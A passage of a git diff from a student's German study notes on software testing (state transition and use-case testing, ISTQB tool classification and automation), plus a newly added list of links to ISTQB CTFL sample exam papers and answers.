|
||||
|
||||
---
|
||||
|
||||
## 4. 🔄 ZUSTANDSÜBERGANGSTEST
|
||||
@@ -88,25 +70,18 @@
|
||||
|
||||
- Testen von Systemen mit **internen Zuständen**
|
||||
|
||||
|
||||
### Elemente:
|
||||
|
||||
- **Zustände** (z. B. „angemeldet“, „abgemeldet“)
|
||||
|
||||
- **Ereignisse/Übergänge** (z. B. „Login“, „Logout“)
|
||||
|
||||
- **Aktionen** (z. B. „Zugriff erlaubt“)
|
||||
|
||||
|
||||
### Arten von Tests:
|
||||
|
||||
- Alle Übergänge
|
||||
|
||||
- Alle Zustände
|
||||
|
||||
- Ungültige Übergänge
|
||||
|
||||
|
||||
➡️ Modellierung über **Zustandsdiagramme** sinnvoll
|
||||
|
||||
---
|
||||
@@ -117,23 +92,17 @@
|
||||
|
||||
- **Benutzerverhalten / Interaktionen** mit dem System testen
|
||||
|
||||
|
||||
### Merkmale:
|
||||
|
||||
- Abbildung typischer **Szenarien**
|
||||
|
||||
- Fokus auf **End-to-End-Abläufe**
|
||||
|
||||
- Kann auch **nicht-funktionale Aspekte** einbeziehen
|
||||
|
||||
|
||||
### Beispiele:
|
||||
|
||||
- "Benutzer meldet sich an"
|
||||
|
||||
- "Benutzer gibt Bestellung auf"
|
||||
|
||||
|
||||
---
|
||||
|
||||
## ✅ ZUSAMMENFASSUNG DER BLACK-BOX-VERFAHREN
|
||||
|
||||
@@ -7,12 +7,9 @@
|
||||
#### Ziele:
|
||||
|
||||
- Effizienz steigern
|
||||
|
||||
- Wiederholbarkeit sicherstellen
|
||||
|
||||
- Fehler vermeiden
|
||||
|
||||
|
||||
#### Typische Tool-Einsatzbereiche:
|
||||
|
||||
|Einsatzbereich|Beispiele für Werkzeuge|
|
||||
@@ -32,23 +29,16 @@
|
||||
#### ✅ Vorteile:
|
||||
|
||||
- Automatisierung → **Zeitersparnis**
|
||||
|
||||
- **Konsistenz & Reproduzierbarkeit**
|
||||
|
||||
- **Skalierbarkeit** bei Regressionstests
|
||||
|
||||
|
||||
#### ⚠️ Risiken:
|
||||
|
||||
- **Einführungsaufwand** hoch
|
||||
|
||||
- **Wartung & Pflege** der Tools notwendig
|
||||
|
||||
- Gefahr von **Tool-Gläubigkeit** („Tool löst alle Probleme“)
|
||||
|
||||
- **Falsche Anwendung** kann schaden
|
||||
|
||||
|
||||
---
|
||||
|
||||
### 6.3 Toolklassifizierung nach ISTQB
|
||||
@@ -69,27 +59,18 @@
|
||||
#### Auswahlkriterien:
|
||||
|
||||
- Projekt- & Teamgröße
|
||||
|
||||
- Integration in bestehende Infrastruktur
|
||||
|
||||
- Schulungsbedarf
|
||||
|
||||
- Support & Lizenzmodell
|
||||
|
||||
|
||||
#### Einführungsprozess:
|
||||
|
||||
1. **Bedarf klären**
|
||||
|
||||
2. **Tool evaluieren & auswählen**
|
||||
|
||||
3. **Pilotphase**
|
||||
|
||||
4. **Rollout**
|
||||
|
||||
5. **Wartung & kontinuierliche Verbesserung**
|
||||
|
||||
|
||||
---
|
||||
|
||||
### 6.5 Automatisierung sinnvoll einsetzen
|
||||
@@ -97,19 +78,14 @@
|
||||
#### Typische Einsatzszenarien:
|
||||
|
||||
- **Regressionstests**
|
||||
|
||||
- **Build-Verifikation (CI/CD)**
|
||||
|
||||
- **Performance-Messung**
|
||||
|
||||
- **Datengetriebenes Testen**
|
||||
|
||||
|
||||
➡️ **Automatisierung ≠ universell sinnvoll**
|
||||
|
||||
- Bei **explorativem Testen**, UX-Tests oder stark ändernden UIs → lieber manuell
|
||||
|
||||
|
||||
---
|
||||
|
||||
## ✅ KLAUSURRELEVANTE MERKPUNKTE
|
||||
|
||||
@@ -9,3 +9,5 @@
|
||||
- [ ] Kap 6
|
||||
|
||||
## Bearbeitung der Aufgaben
|
||||
|
||||
## Zusammensuchen von Klausuren und Tests
|
||||
23
Semester 6/SWTEST/Liste Exams.md
Normal file
23
Semester 6/SWTEST/Liste Exams.md
Normal file
@@ -0,0 +1,23 @@
|
||||
## English
|
||||
|
||||
https://www.istqb.org/wp-content/uploads/2024/11/ISTQB_CTFL_v4.0_Sample-Exam-A-Questions_v1.6.pdf
|
||||
|
||||
https://isqi.org/media/5d/9d/2c/1734010921/ISTQB_CTFL40_Sample-Exam-Questions_SET-B_v1.3.2_GTB-edition_engl_EN_.pdf
|
||||
|
||||
https://www.gtb.de/wp-content/uploads/2023/11/ISTQB_CTFL40_Sample-Exam-Questions_SET-A_v2.1_engl.pdf
|
||||
|
||||
https://www.processexam.com/files/processexam/download/CTFL-ISTQB-Certified-Tester-Foundation-Level.pdf
|
||||
|
||||
https://astqb.org/assets/documents/ISTQB_CTFL_Sample-Exam-Answers_v4.0.pdf
|
||||
|
||||
https://isqi.org/media/69/47/e5/1734010610/ISTQB_CTFL40_Sample-Exam-Answers_SET-A_v2.1_GTB-edition_engl_EN_.pdf
|
||||
|
||||
https://www.gtb.de/wp-content/uploads/2024/09/ISTQB_CTFL40_Sample-Exam-Questions_SET-E_v1.0_GTB-edition_engl.pdf
|
||||
|
||||
https://isqi.org/media/5d/9d/2c/1734010921/ISTQB_CTFL40_Sample-Exam-Questions_SET-B_v1.3.2_GTB-edition_engl_EN_.pdf
|
||||
## German
|
||||
https://isqi.org/media/8a/d4/a5/1713444247/GTB-CTFL-AcT_Sample-Exam-Answers_v2019_DE_.pdf
|
||||
|
||||
https://assets.brightest.org/media/resources/ISTQB_CTFL_2018_Sample_Exam_Questions_German.pdf
|
||||
|
||||
https://swisstestingboard.org/wp-content/uploads/2024/11/GTB-CTFL-FA_2015A_Sample_Exam_Paper_v20_DE.pdf
|
||||
Reference in New Issue
Block a user